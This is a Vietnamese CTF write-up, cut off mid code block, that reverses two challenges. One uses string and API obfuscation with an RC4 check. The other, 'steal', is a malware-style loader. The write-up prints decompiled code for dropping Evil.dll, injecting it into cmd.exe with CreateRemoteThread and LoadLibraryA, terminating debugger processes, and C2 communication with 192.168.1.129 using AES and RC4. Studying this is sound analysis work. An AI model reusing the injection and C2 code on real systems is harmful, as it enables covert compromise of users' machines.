- Nếu đã thử run chương trình, có thể sẽ thấy khá lạ khi không có chuỗi `Enter Something: ` xuất hiện trong `Shift + F12`, lí do là tác giả đã mã hóa các chuỗi này, chỉ khi đem dùng mới dịch lại. Điều tương tự cũng áp dụng với các hàm được gọi trong bài mà mình sẽ nói ở dưới đây.
#### Phase 1: Sub_631000

- Tại đây xuất hiện thêm hàm `sub_631060` nữa, mình sẽ giải thích luồng của hàm này. Cũng giống như giấu chuỗi, các hàm chỉ được resolved khi cần thiết. Sau khi mò mẫm, mình đổi tên được một số hàm:

- Về cơ bản, hàm chỉ là bộ check process đang run chương trình, về kĩ thuật này có thể xem lại bài `Lies` [ở đây](https://hackmd.io/ld9sTCNVTlOLoOtMOPBD9A?view#10-Lies-Hard---noobmannn) nha. Nếu tiến trình đang chạy là một trong ba thứ `cmd.exe`, `ida.exe`, `explorer.exe` thì sẽ trả về giá trị 1. Giá trị trả về này sẽ được check ở phase dưới đây.
#### Phase 2: Sub_631010

- Với mỗi giá trị trả về của hàm trên, mình sẽ nhận được chuỗi tương ứng, chuỗi này sẽ được check ở phase 3.
- Tuy nhiên ở đây còn tồn tại một hàm `sub_631440` nữa. Mình sẽ phân tích hàm này. Về cơ bản, hàm là một số code có dạng:

- Với sự nhạy cảm nhất định, có thể thấy hàm này cũng thực hiện resolving API, mà cụ thể ở đây chính là các hàm `Crypt...`, mình đã tổng hợp lại được một số hàm như sau:
```c
CryptCreateHash
CryptDestroyHash
CryptReleaseContext
CryptHashData
CryptDeriveKey
CryptEncrypt
CryptDestroyKey
CryptAcquireContextA
```
- Vậy khả năng rất cao luồng đúng sẽ cần resolve hàm, nên để thuận tiện mình sẽ patch luôn để điều kiện hướng vào đó:

#### Phase 3: Sub_631040

- Tới đây thì mọi thứ khá rõ ràng, luồng đúng là luồng cần resolve hàm. Tuy nhiên, ta cần chú ý một chút, `dword_6343F4` thực chất chính là `kernel32_SetUnhandledExceptionFilter` resolve từ trước. Bên cạnh đó, nếu đi sâu vào `sub_6318D0`, ta sẽ thấy `Format` là `Enter Something: `. Đây là một gợi ý to lớn cho mình biết rằng đang đi đúng hướng.
- Đổi tên một số hàm cho dễ đọc, mình có code:
```c=
int __stdcall super_main(_DWORD **a1)
{
char *v1; // eax
int v2; // ecx
char *v3; // eax
int v4; // ecx
CHAR *v5; // eax
int v6; // ecx
__int16 *v7; // eax
int v8; // ecx
CHAR *v9; // eax
int v10; // ecx
__int16 v12; // [esp+0h] [ebp-90h] BYREF
char _s_[2]; // [esp+4h] [ebp-8Ch] BYREF
char v14; // [esp+6h] [ebp-8Ah]
char Source[52]; // [esp+8h] [ebp-88h] BYREF
char Destination[52]; // [esp+3Ch] [ebp-54h] BYREF
char Format[4]; // [esp+70h] [ebp-20h] BYREF
int v18; // [esp+74h] [ebp-1Ch]
int v19; // [esp+78h] [ebp-18h]
int v20; // [esp+7Ch] [ebp-14h]
__int16 v21; // [esp+80h] [ebp-10h]
CHAR Caption[4]; // [esp+84h] [ebp-Ch] BYREF
int v23; // [esp+88h] [ebp-8h]
if ( **a1 == 0xC0000096 )
{
*Format = 0xCEDFC5EE;
v1 = Format;
v18 = 0xC4F88BD9;
v2 = 0x12;
v19 = 0xC3DFCEC6;
v20 = 0x91CCC5C2;
v21 = 0xAB8B;
do
{
*v1++ ^= 0xABu;
--v2;
}
while ( v2 );
printf(Format);
*_s_ = -16664;
v14 = -51;
v3 = _s_;
v4 = 3;
do
{
*v3++ ^= 0xCDu;
--v4;
}
while ( v4 );
scanf(_s_, Source);
if ( encrypt(Source) )
{
*Caption = -1396921180;
v5 = Caption;
LOBYTE(v23) = -108;
v6 = 5;
do
{
*v5++ ^= 0xEFu;
--v6;
}
while ( v6 );
memset(Destination, 0, 0x32u);
*Destination = *Caption;
Destination[4] = v23;
strcat_s(Destination, 0x32u, Source);
v12 = -23051;
v7 = &v12;
v8 = 2;
do
{
*v7 ^= 0x88u;
v7 = (v7 + 1);
--v8;
}
while ( v8 );
*Caption = -1111771460;
v23 = -86254629;
Destination[HIBYTE(v12)] = v12;
v9 = Caption;
v10 = 8;
do
{
*v9++ ^= 0xFAu;
--v10;
}
while ( v10 );
MessageBoxA(0, Destination, Caption, 0x40u);
}
else
{
sub_881BB0();
}
}
return 1;
}
```
- Đi vào hàm `encrypt`, mình thấy được một số thứ khá thú vị:
```c=
char __thiscall encrypt(const char *this)
{
BOOL (__stdcall *v1)(HCRYPTPROV, ALG_ID, HCRYPTKEY, DWORD, HCRYPTHASH *); // edi
BOOL (__stdcall *v2)(HCRYPTHASH); // esi
BOOL (__stdcall *v3)(HCRYPTPROV, DWORD); // ebx
int *v4; // eax
int v5; // ecx
int v6; // eax
size_t v7; // esi
void *v8; // edi
int v9; // ecx
int v10; // edi
int v12; // [esp-4h] [ebp-64h]
BOOL (__stdcall *v13)(HCRYPTKEY, HCRYPTHASH, BOOL, DWORD, BYTE *, DWORD *, DWORD); // [esp+Ch] [ebp-54h]
BOOL (__stdcall *v15)(HCRYPTPROV, ALG_ID, HCRYPTHASH, DWORD, HCRYPTKEY *); // [esp+14h] [ebp-4Ch]
BOOL (__stdcall *v16)(HCRYPTHASH, const BYTE *, DWORD, DWORD); // [esp+18h] [ebp-48h]
BOOL (__stdcall *v17)(HCRYPTKEY); // [esp+1Ch] [ebp-44h]
size_t Size; // [esp+20h] [ebp-40h] BYREF
HCRYPTKEY v19; // [esp+24h] [ebp-3Ch] BYREF
HCRYPTHASH v20; // [esp+28h] [ebp-38h] BYREF
HCRYPTPROV v21; // [esp+2Ch] [ebp-34h] BYREF
int v22[10]; // [esp+30h] [ebp-30h] BYREF
__int16 v23; // [esp+58h] [ebp-8h]
char v24; // [esp+5Ah] [ebp-6h]
Size = strlen(this);
if ( Size != 40 )
return 0;
v1 = CryptCreateHash;
v2 = CryptDestroyHash;
v3 = CryptReleaseContext;
v16 = CryptHashData;
v15 = CryptDeriveKey;
v13 = CryptEncrypt;
v17 = CryptDestroyKey;
if ( !CryptAcquireContextA(&v21, 0, 0, 1u, 0) )
return 0;
if ( v1(v21, 0x8004, 0, 0, &v20) )
{
v22[0] = 0xDEDADAC6;
v4 = v22;
v22[1] = 0x818194DD;
v5 = 43;
v22[2] = 0x80D9D9D9;
v22[3] = 0xDADBC1D7;
v22[4] = 0x80CBCCDB;
v22[5] = 0x81C3C1CD;
v22[6] = 0xCDDACFD9;
v22[7] = 0x93D891C6;
v22[8] = 0x9AD9FFCA;
v22[9] = 0xC9F997D9;
v23 = 0xCDF6;
v24 = 0xFF;
do
{
*v4 ^= 0xAEu;
v4 = (v4 + 1);
--v5;
}
while ( v5 );
if ( v16(v20, v22, 43, 0) )
{
v6 = v15(v21, 0x6801, v20, 0, &v19);
v12 = v20;
if ( v6 )
{
v2(v20);
v7 = Size + 1;
v8 = malloc(Size + 1);
memcpy(v8, this, Size);
*(v8 + Size) = 0;
if ( v13(v19, 0, 1, 0, v8, &Size, v7) )
{
v9 = 0;
v10 = v8 - byte_8831F8;
while ( byte_8831F8[v10 + v9] == byte_8831F8[v9] )
{
if ( ++v9 >= 40 )
{
v17(v19);
v3(v21, 0);
return 1;
}
}
}
v17(v19);
goto LABEL_16;
}
}
else
{
v12 = v20;
}
v2(v12);
}
LABEL_16:
v3(v21, 0);
return 0;
}
```
- Ở đây, các hàm resolved được sử dụng, trong đó có tham số cần chú ý là `ALG_ID` với hai giá trị `0x8004 <-> SHA1` và `0x6801 <-> RC4`. Vậy, luồng mã hóa sẽ là sử dụng một chuỗi làm `data`, đem đi hash bằng SHA1 để làm `key` cho RC4, RC4 mã hóa `input` của chúng ta và đem check với mảng `byte_8831F8`. `data` chính là biến `v22` trong bài:

- Nếu đem đi dịch ngược, ta sẽ được:
```python=
data = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
```
Cuối cùng, để giải bài, mình sẽ sử dụng code C để tận dụng các hàm `Crypt` luôn:
```c=
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#include <string.h>
// The target encrypted bytes we want to match
const unsigned char target[] = {
0xE7, 0x7B, 0xFA, 0xF3, 0xF0, 0x7F, 0x0E, 0xD6, 0x37, 0x2B,
0xBE, 0xCB, 0xF7, 0x61, 0xF1, 0xDC, 0xF4, 0x45, 0xBC, 0xA5,
0x0B, 0x81, 0x5D, 0xD1, 0x65, 0x4A, 0x5F, 0xAE, 0x59, 0x3B,
0x0B, 0xCB, 0xCC, 0x17, 0x9B, 0x7E, 0x55, 0xA0, 0x18, 0xB5
};
const unsigned char init_data[] = {
104, 116, 116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 121,
111, 117, 116, 117, 98, 101, 46, 99, 111, 109, 47, 119, 97,
116, 99, 104, 63, 118, 61, 100, 81, 119, 52, 119, 57, 87, 103,
88, 99, 81
};
int main() {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
BYTE buffer[41] = {0}; // 40 bytes + null terminator
DWORD bufferLen = 40;
// Acquire crypto context
if (!CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
printf("Failed to acquire crypto context\n");
return 1;
}
// Create hash object (SHA1)
if (!CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash)) {
printf("Failed to create hash\n");
CryptReleaseContext(hProv, 0);
return 1;
}
// Hash the initialization data
if (!CryptHashData(hHash, init_data, sizeof(init_data), 0)) {
printf("Failed to hash data\n");
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return 1;
}
// Derive RC4 key from hash
if (!CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &hKey)) {
printf("Failed to derive key\n");
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return 1;
}
// Clean up hash as we don't need it anymore
CryptDestroyHash(hHash);
// Copy target to buffer
memcpy(buffer, target, 40);
// Decrypt the target (RC4 is symmetric, so encrypt operation with final block = TRUE will decrypt)
if (!CryptDecrypt(hKey, 0, TRUE, 0, buffer, &bufferLen)) {
printf("Failed to decrypt\n");
CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);
return 1;
}
// Print the decrypted result
printf("Solution found: %.*s\n", bufferLen, buffer);
// Clean up
CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);
return 0;
}
```
- Run and :boom:


> ~~`KCSC{The_m1xture_mak3_hard_challenge_4_y0u!!!}`~~
#### Note:
- Nếu muốn debug `sub_6318D0`, mọi người có thể thử đặt bp tại trước con `SetUnhandledExceptionFilter` và thực hiện `set IP` vào trong hàm (sau điều kiện check `a1`) nhé.
### 10. steal (Hard)
- Đây là một bài mình vẫn chưa solve được trong 24h sau khi TTV kết thúc, bởi nó có quá nhiều kiến thức mà mình không thể load kịp được cũng như giải thích được hết.
- Đề cho một file pcap để catch data và một file thực thi. Đây là hàm main của file exe:

- Còn một đoạn nữa ở dưới nhưng mình chỉ chụp phần quan trọng nhất. Có thể nói sơ qua luồng của chương trình: khởi tạo kết nối tới địa chỉ `192.168.1.129:13337` và thực hiện gửi, nhận một số dữ liệu lên đây. Nếu đã xem file pcap thì cũng có thể nhận ra địa chỉ IP cùng port này.
- Vì là một bài Hard, nên khả năng cao chương trình sẽ có antidebug, và nó được sử dụng trong TLS Callback ở đây:


- Có thể nói sơ qua luồng như sau: kiểm tra xem có debugger không bằng `IsDebuggerPresent` và lưu kết quả lại vào `arg_18 (0-false/1-true)`. Sau đó sẽ chạy thử `DebugBreak` để ngăn chúng ta debug tiếp, nếu xảy ra ngoại lệ thì nhảy vào luồng phụ là `loc_1400014E6`. Nếu không có debugger, ta sẽ bước được vào hai hàm `sub_140001250` và `sub_140001070` - đây là luồng chuẩn. Vì vậy chúng ta cần patch qua những điều kiện, mình đã patch như sau:

- Giờ mình sẽ đi vào phân tích hai hàm được gọi.
#### Phase 1: Sub_14001250 - dll initial
- Dưới đây là toàn bộ hàm:
```c=
int sub_140001250()
{
HRSRC ResourceW; // rax
signed int v1; // edx
__int64 v2; // rcx
__m128 v3; // xmm0
__m128 v4; // xmm1
__int64 v5; // rax
HMODULE ModuleHandleW; // rdi
HRSRC v7; // rsi
size_t v8; // rbx
HRSRC v9; // r14
char *v10; // rdi
unsigned int v11; // r9d
char *v12; // rcx
__int64 v13; // rax
__int128 v15; // [rsp+10h] [rbp-F0h]
FILE *Stream; // [rsp+20h] [rbp-E0h] BYREF
DWORD pcbBuffer; // [rsp+28h] [rbp-D8h] BYREF
char Format[16]; // [rsp+30h] [rbp-D0h] BYREF
int v19; // [rsp+40h] [rbp-C0h]
int v20; // [rsp+44h] [rbp-BCh]
int v21; // [rsp+48h] [rbp-B8h]
int v22; // [rsp+4Ch] [rbp-B4h]
int v23; // [rsp+50h] [rbp-B0h]
int v24; // [rsp+54h] [rbp-ACh]
CHAR Buffer[256]; // [rsp+60h] [rbp-A0h] BYREF
*Format = 1519204819;
*&Format[4] = -1654804114;
*&Format[8] = 1711019991;
*&Format[12] = -1183049766;
v19 = 1267674312;
v20 = 899209832;
v21 = -125635325;
v22 = -1933080069;
v23 = -1651597405;
v24 = 13649961;
pcbBuffer = 256;
LODWORD(ResourceW) = GetUserNameA(Buffer, &pcbBuffer);
if ( ResourceW )
{
v1 = 0;
v2 = 0i64;
do
{
v3 = _mm_loadu_si128(&Format[v2]);
v1 += 32;
v4 = _mm_loadu_si128(&byte_1400034C0[v2]);
v5 = v1;
v2 += 32i64;
*(&v15 + v2) = _mm_xor_ps(v4, v3);
*(&Stream + v2) = _mm_xor_ps(_mm_loadu_si128(&cp[v2]), _mm_loadu_si128((&Stream + v2)));
}
while ( v1 < 0x20 );
if ( v1 < 0x28 )
{
do
{
++v1;
Format[v5] ^= byte_1400034C0[v5];
++v5;
}
while ( v1 < 0x28 );
}
sub_140001010(::Buffer, 0x104ui64, Format);
ModuleHandleW = GetModuleHandleW(0i64);
ResourceW = FindResourceW(ModuleHandleW, 0x65, L"BIN");
v7 = ResourceW;
if ( ResourceW )
{
LODWORD(ResourceW) = SizeofResource(ModuleHandleW, ResourceW);
v8 = ResourceW;
if ( ResourceW )
{
ResourceW = LoadResource(ModuleHandleW, v7);
if ( ResourceW )
{
ResourceW = LockResource(ResourceW);
v9 = ResourceW;
if ( ResourceW )
{
v10 = operator new(v8);
memcpy(v10, v9, v8);
v11 = 0;
if ( v8 )
{
v12 = v10;
do
{
++v12;
v13 = v11++ & 0x1F;
*(v12 - 1) ^= byte_1400034C0[v13 + 40];
}
while ( v11 < v8 );
}
Stream = 0i64;
LODWORD(ResourceW) = fopen_s(&Stream, ::Buffer, "wb");
if ( Stream )
{
fwrite(v10, 1ui64, v8, Stream);
LODWORD(ResourceW) = fclose(Stream);
}
}
}
}
}
}
return ResourceW;
}
```
- Sau khi debug, mình nhận được một số thông tin khá quan trọng:

- Hàm này thực hiện tạo một file dll trong đường dẫn, tiếp đó là:

- Viết data vào file dll, file này mình sẽ phân tích ở phase 3. Và khi kiểm tra lại thì ta đã thấy một con `Evil.dll` ở đường dẫn đó:

- `F8` qua câu lệnh, data được viết vào:

- Tổng kết lại, phase này giúp viết file dll vào trong máy tính, chi tiết file mình sẽ phân tích sau.
#### Phase 2: Sub_14001070 - dll injection
- Chương trình đã gen ra dll, bước tiếp theo sẽ là inject con dll này vào process đang chạy. Chi tiết về kĩ thuật này có thể đọc ở [đây](https://sec.vnpt.vn/2019/01/dll-injection/).
- Đây là toàn bộ hàm:
```c=
int sub_7FF6730A1070()
{
HMODULE ModuleHandleW; // rax
HMODULE (__stdcall *LoadLibraryA)(LPCSTR); // rsi
HANDLE Toolhelp32Snapshot; // rbx
__int64 v3; // rax
char v4; // cl
DWORD th32ProcessID; // r8d
HANDLE RemoteThread; // rax
void *v7; // rbx
void *v8; // rdi
void *v9; // rdi
size_t PtNumOfCharConverted[2]; // [rsp+40h] [rbp-378h] BYREF
PROCESSENTRY32W pe; // [rsp+50h] [rbp-368h] BYREF
char Dst[272]; // [rsp+290h] [rbp-128h] BYREF
ModuleHandleW = GetModuleHandleW(L"kernel32.dll");
LoadLibraryA = GetProcAddress(ModuleHandleW, "LoadLibraryA");
pe.dwSize = 568;
Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
if ( Process32FirstW(Toolhelp32Snapshot, &pe) )
{
do
{
PtNumOfCharConverted[0] = 0i64;
wcstombs_s(PtNumOfCharConverted, Dst, 0x104ui64, pe.szExeFile, 0xFFFFFFFFFFFFFFFFui64);
v3 = 0i64;
while ( 1 )
{
v4 = Dst[v3++];
if ( v4 != aCmdExe[v3 - 1] )
break;
if ( v3 == 8 )
{
th32ProcessID = pe.th32ProcessID;
goto LABEL_8;
}
}
}
while ( Process32NextW(Toolhelp32Snapshot, &pe) );
}
CloseHandle(Toolhelp32Snapshot);
th32ProcessID = 0;
LABEL_8:
RemoteThread = OpenProcess(0x43Au, 0, th32ProcessID);
v7 = RemoteThread;
if ( RemoteThread )
{
RemoteThread = VirtualAllocEx(RemoteThread, 0i64, 0x104ui64, 0x3000u, 0x40u);
v8 = RemoteThread;
if ( RemoteThread )
{
LODWORD(RemoteThread) = WriteProcessMemory(v7, RemoteThread, FileName, 0x104ui64, 0i64);
if ( RemoteThread )
{
RemoteThread = CreateRemoteThread(v7, 0i64, 0i64, LoadLibraryA, v8, 0, 0i64);
v9 = RemoteThread;
if ( RemoteThread )
{
WaitForSingleObject(RemoteThread, 0xFFFFFFFF);
CloseHandle(v7);
CloseHandle(v9);
remove(FileName);
ExitProcess(0);
}
}
}
}
return RemoteThread;
}
```
- Sau khi đọc và debug, mình cũng nắm được qua luồng của hàm. Đầu tiên hàm sẽ chuẩn bị các hàm cần thiết cho inject `Evil.dll`, trong đó có `LoadLibraryA` từ kernel32.dll. Sau đó, nó vào vòng lặp tạo snapshot và duyệt qua từng process đang chạy, nếu có `cmd.exe` thì lưu lại Process ID của nó và break khỏi vòng lặp.
- Tiếp đó, hàm mở process `cmd.exe`, cấp phát 0x104 bytes vào đó, cấp quyền, tạo thread mới, cuối cùng là load dll để `Evil.dll` chạy `DllMain`, có thể hiểu bằng sơ đồ như sau:
```
[chall.exe] --- CreateRemoteThread --> [cmd.exe]
|
| (Thread mới chạy LoadLibraryA)
|
v
[Load Evil.dll]
|
| (Windows Loader)
|
v
[Chạy DllMain]
```

- Cuối cùng, chương trình đợi thread hoàn thành, đóng các handle và xóa `Evil.dll` cũng như đóng process hiện tại, vậy chính thức `chall.exe` chỉ là loader, luồng thực sự nằm ở con `Evil` kia.
#### Phase 3: Evil.dll
- Chúng ta có thể load con dll vào ida để phân tích, trước hết xem qua import table. Đây là ba đoạn mình chú ý:



- Ảnh 1 là các hàm được sử dụng giống ở phase 2, ảnh 2 là các hàm phục vụ cho kết nối và truyền dữ liệu, ảnh 3 là các API giúp mã hóa. Xref theo từng hàm được gọi, mình tới được đây:
```c=
DWORD __fastcall StartAddress(LPVOID lpThreadParameter)
{
HANDLE Toolhelp32Snapshot; // rdi
unsigned int v2; // esi
char *v3; // r9
HANDLE v4; // rax
void *v5; // rbx
DWORD CurrentProcessId; // eax
HANDLE v7; // rax
void *v8; // rbx
SOCKET v9; // rax
SOCKET server; // rdi
UCHAR *v11; // rbx
int v12; // eax
int v13; // eax
size_t PtNumOfCharConverted; // [rsp+30h] [rbp-D0h] BYREF
struct sockaddr name; // [rsp+38h] [rbp-C8h] BYREF
PROCESSENTRY32W pe; // [rsp+50h] [rbp-B0h] BYREF
__int64 v18[8]; // [rsp+290h] [rbp+190h] BYREF
char v19[32]; // [rsp+2D0h] [rbp+1D0h] BYREF
UCHAR pbSecret[48]; // [rsp+2F0h] [rbp+1F0h] BYREF
char Dst[272]; // [rsp+320h] [rbp+220h] BYREF
char v22[1024]; // [rsp+430h] [rbp+330h] BYREF
char buf[1024]; // [rsp+830h] [rbp+730h] BYREF
pe.dwSize = 568;
Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
v2 = 0;
if ( Process32FirstW(Toolhelp32Snapshot, &pe) )
{
do
{
PtNumOfCharConverted = 0i64;
wcstombs_s(&PtNumOfCharConverted, Dst, 0x104ui64, pe.szExeFile, 0xFFFFFFFFFFFFFFFFui64);
v18[0] = "ollydbg.exe";
v18[5] = "windbg.exe";
v3 = v18;
v18[1] = "x64dbg.exe";
v18[6] = "dbgview.exe";
v18[7] = "immunitydbg.exe";
v18[2] = "idaq.exe";
v18[3] = "ida64.exe";
v18[4] = "ida.exe";
while ( strcmp(Dst, *v3) )
{
v3 += 8;
if ( v3 == v19 )
goto LABEL_10;
}
v4 = OpenProcess(1u, 0, pe.th32ProcessID);
v5 = v4;
if ( v4 )
{
TerminateProcess(v4, 1u);
CloseHandle(v5);
}
CurrentProcessId = GetCurrentProcessId();
v7 = OpenProcess(1u, 0, CurrentProcessId);
v8 = v7;
if ( v7 )
{
TerminateProcess(v7, 1u);
CloseHandle(v8);
}
LABEL_10:
;
}
while ( Process32NextW(Toolhelp32Snapshot, &pe) );
}
CloseHandle(Toolhelp32Snapshot);
LODWORD(v9) = WSAStartup(0x202u, &pe);
if ( !v9 )
{
v9 = socket(2, 1, 0);
server = v9;
if ( v9 != -1i64 )
{
name.sa_family = 2;
*&name.sa_data[2] = inet_addr("192.168.1.129");
*name.sa_data = htons(13337u);
LODWORD(v9) = connect(server, &name, 16);
if ( v9 != -1 )
{
LODWORD(PtNumOfCharConverted) = time64(0i64);
srand(PtNumOfCharConverted);
v11 = pbSecret;
do
{
++v2;
*v11++ = rand();
}
while ( v2 < 48 );
send(server, &PtNumOfCharConverted, 4, 0);
v12 = recv(server, buf, 1024, 0);
decrypt_with_AES(pbSecret, buf, v12, v19);
do
{
while ( 1 )
{
v13 = recv(server, v22, 1024, 0);
if ( v13 <= 0 )
break;
if ( v13 >= 0x400 )
{
sub_180001AC8();
JUMPOUT(0x180001940i64);
}
v22[v13] = 0;
(sub_180001000)(v19, v22);
sub_180001460(server, v22, v19);
}
}
while ( v13 );
closesocket(server);
LODWORD(v9) = WSACleanup();
}
}
}
return v9;
}
```
- Đây là hàm sử dụng hầu hết các hàm trong imports, về luồng chính có thể hiểu như sau: thực hiện kết nối tại địa chỉ IP `192.168.1.129` tại port 13337, thực hiện gửi và nhận dữ liệu. Trong đó có một hàm là `decrypt_with_AES` là hàm mình đã đổi tên
```c=
void __fastcall decrypt_with_AES(PUCHAR pbSecret, PUCHAR pbInput, ULONG cbInput, void *a4)
{
void *v8; // rdi
unsigned int v9; // ebx
HANDLE ProcessHeap; // rax
UCHAR *v11; // rax
UCHAR *v12; // rsi
UCHAR *v13; // rbp
ULONG v14; // ebx
HANDLE v15; // rax
HANDLE v16; // rax
HANDLE v17; // rax
HANDLE v18; // rax
ULONG cbOutput; // [rsp+50h] [rbp-78h] BYREF
UCHAR pbOutput[4]; // [rsp+54h] [rbp-74h] BYREF
BCRYPT_KEY_HANDLE phKey; // [rsp+58h] [rbp-70h] BYREF
BCRYPT_ALG_HANDLE phAlgorithm; // [rsp+60h] [rbp-68h] BYREF
ULONG pcbResult; // [rsp+68h] [rbp-60h] BYREF
phAlgorithm = 0i64;
phKey = 0i64;
*pbOutput = 0;
cbOutput = 0;
pcbResult = 0;
v8 = 0i64;
if ( BCryptOpenAlgorithmProvider(&phAlgorithm, L"AES", 0i64, 0) < 0 )
return;
if ( BCryptGetProperty(phAlgorithm, L"ObjectLength", pbOutput, 4u, &pcbResult, 0) >= 0 )
{
v9 = *pbOutput;
ProcessHeap = GetProcessHeap();
v11 = HeapAlloc(ProcessHeap, 0, v9);
v12 = v11;
if ( v11 )
{
if ( BCryptGenerateSymmetricKey(phAlgorithm, &phKey, v11, *pbOutput, pbSecret, 32u, 0) >= 0 )
{
v13 = pbSecret + 32;
if ( BCryptDecrypt(phKey, pbInput, cbInput, 0i64, v13, 16u, 0i64, 0, &cbOutput, 0) >= 0 )
{
v14 = cbOutput;
v15 = GetProcessHeap();
v8 = HeapAlloc(v15, 0, v14);
if ( v8 )
{
if ( BCryptDecrypt(phKey, pbInput, cbInput, 0i64, v13, 0x10u, v8, cbOutput, &cbOutput, 0) >= 0 )
{
memcpy(a4, v8, cbOutput);
v16 = GetProcessHeap();
HeapFree(v16, 0, v12);
LABEL_10:
v18 = GetProcessHeap();
HeapFree(v18, 0, v8);
goto LABEL_11;
}
}
}
}
v17 = GetProcessHeap();
HeapFree(v17, 0, v12);
if ( v8 )
goto LABEL_10;
}
}
LABEL_11:
if ( phKey )
BCryptDestroyKey(phKey);
if ( phAlgorithm )
BCryptCloseAlgorithmProvider(phAlgorithm, 0);
}
```
- Có thể tóm tắt luồng chính của hàm như sau: chọn lấy `key` và `IV` từ `pbSecret`, trong đó `key 32 bytes` và `IV 16 bytes`, thực hiện giải mã `input` bằng mode CBC và viết `output` vào địa chỉ `a4`. Tuy nhiên để tìm lại `output` thì ta cần biết được `key`, `IV` và `ciphertext`. Trong đó, vì `pbSecret` được sinh ra trong quá trình run `Evil.dll`, nên mình khá chắc rằng `ciphertext` được gửi tới IP ở trên và bị caught bởi wireshark.
#### DECRYPTION: Key and IV
- Trước hết, chúng ta biết được `Evil.dll` sẽ giao tiếp với C2 server `192.168.1.129`, vậy địa chỉ của `Evil` sẽ là `192.168.1.192` như trong file pcap. Giờ ta sẽ filter IP này xem nó gửi, nhận những gì.


- Chúng ta chỉ cần quan tâm các gói từ gói thứ 4 trở đi, do các gói số 1, 2, 3 là quy trình bắt tay 3 bước nên không quan trọng. Có thể thấy, `Evil.dll` gửi một data 4 bytes, và trong code có:

- Điều này khẳng định rằng 4 bytes mà `Evil.dll` gửi chính là seed để gen ra `pbSecret`. Vậy `seed = 0x384b4f67`, lấy data theo `Hexstream` trong file pcap:

- Từ seed trên, mình dễ dàng tìm lại được `key` và `IV` bằng C và Python:
```c=
#include <bits/stdc++.h>
#include <stdio.h>
#include <time.h>
#include <stdint.h>
int main(){
long long seed = 0x674f4b38; //endian
srand(seed);
printf("%lld\n", seed);
for(int i=0; i<48; i++){
printf("%d ", rand() & 0xFF);
//Do mảng UCHAR nên phải &0xFF / %256
}
return 0;
}
```
```python=
arr = "219 159 71 229 255 194 117 215 244 195 23 70 232 103 236 197 175 129 139 96 185 22 247 221 65 191 115 65 200 79 151 150 194 182 164 236 143 37 21 158 172 115 118 214 43 192 121 83"
arr = b"".join([bytes([int(x)]) for x in arr.split(" ")])
key = arr[:32]
iv = arr[32:]
print(bytes.hex(key))
print(bytes.hex(iv))
```
- Nhận được:
```python=
key = "db9f47e5ffc275d7f4c31746e867ecc5af818b60b916f7dd41bf7341c84f9796"
iv = "c2b6a4ec8f25159eac7376d62bc07953"
```
#### DECRYPTION: Ciphertext
- Dễ dàng nhận thấy luồng chuẩn của giao tiếp sẽ như sau:

- Trong đó, hex đầu tiên là do `Evil.dll` gửi cho `clients`, hex thứ hai là `clients` gửi cho `Evil.dll` bản mã. Chứng minh dễ dàng dựa vào code sau:

- Sau khi đem giải mã AES_CBC, chúng ta có được:
```python=
from Crypto.Cipher import AES
key = "db9f47e5ffc275d7f4c31746e867ecc5af818b60b916f7dd41bf7341c84f9796"
iv = "c2b6a4ec8f25159eac7376d62bc07953"
key, iv = bytes.fromhex(key), bytes.fromhex(iv)
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = cipher.decrypt(bytes.fromhex("e8eb6b628b4413b6a74c16972850a3a6e6d8bf5f701621e2888b798b0ebd2d89"))
print(pt)
```

- Đây là bản mã để đưa vào phase tiếp theo chứ không phải flag nha :sweat_smile:.
#### RC4
- Có thể thấy trong key có nói gì đó về RC4, và trong đoạn code phía dưới cũng có thể thấy điều đó, trong hàm này:

- Và đây là code của thuật toán:

- Chúng ta đã biết bản rõ giải từ AES là `key` cho RC4, giờ chúng ta cần biết RC4 encrypt/decrypt cái gì. Nhìn vào luồng giao tiếp, ta thấy `clients` gửi hai tin nhắn liên tiếp là:
```python=
message1 = "6019f7"
message3 = "7009f590806d4c2aee16715253"
```
- Và bên trên code cũng có thể thấy, `Evil.dll` giải `key` từ AES và ngay sau đó chạy vào vòng while để `recv`, vậy đây chính là data để đưa vào RC4, code như sau:
```python=
def rc4_custom2(key: bytes, data: bytearray) -> None:
"""
Custom RC4-like stream cipher implementation
Args:
key: 32-byte key
data: Data to encrypt/decrypt (modified in-place)
"""
# Initialize state array (replaces SIMD initialization)
S = bytearray(range(256))
# Key scheduling - mix in key bytes
temp = bytearray()
for i in range(0, 256, 2):
temp.append(key[i % 32])
temp.append(key[(i + 1) % 32])
# Key Scheduling Algorithm (KSA)
j = 0
for i in range(256):
j = (j + S[i] + temp[i]) % 256
S[i], S[j] = S[j], S[i]
# Pseudo-Random Generation Algorithm (PRGA) with encryption
i = j = 0
for k in range(len(data)):
i = (i + 1) % 256
x = S[i]
j = (x + j) % 256
S[i], S[j] = S[j], S[i]
data[k] ^= S[(S[i] + x) % 256]
rc4_key = b'Th!s_1s_R34l_K3y_f0r_Rc4_D3crypt'
message1 = "6019f7"
message3 = "7009f590806d4c2aee16715253"
message1 = bytearray(bytes.fromhex(message1))
message3 = bytearray(bytes.fromhex(message3))
rc4_custom2(rc4_key, message1)
print(message1)
rc4_custom2(rc4_key, message3)
print(message3)
```
- Nhận được:

#### Answer
- Sau khi RC4, `Evil.dll` thực hiện bước tiếp theo là hàm ở ngay dưới nó:


- Hàm nhận lấy `output` và tiếp tục RC4 một lần nữa trước khi gửi ngược lại `clients`, dễ dàng thấy `Evil.dll` gửi:
```python=
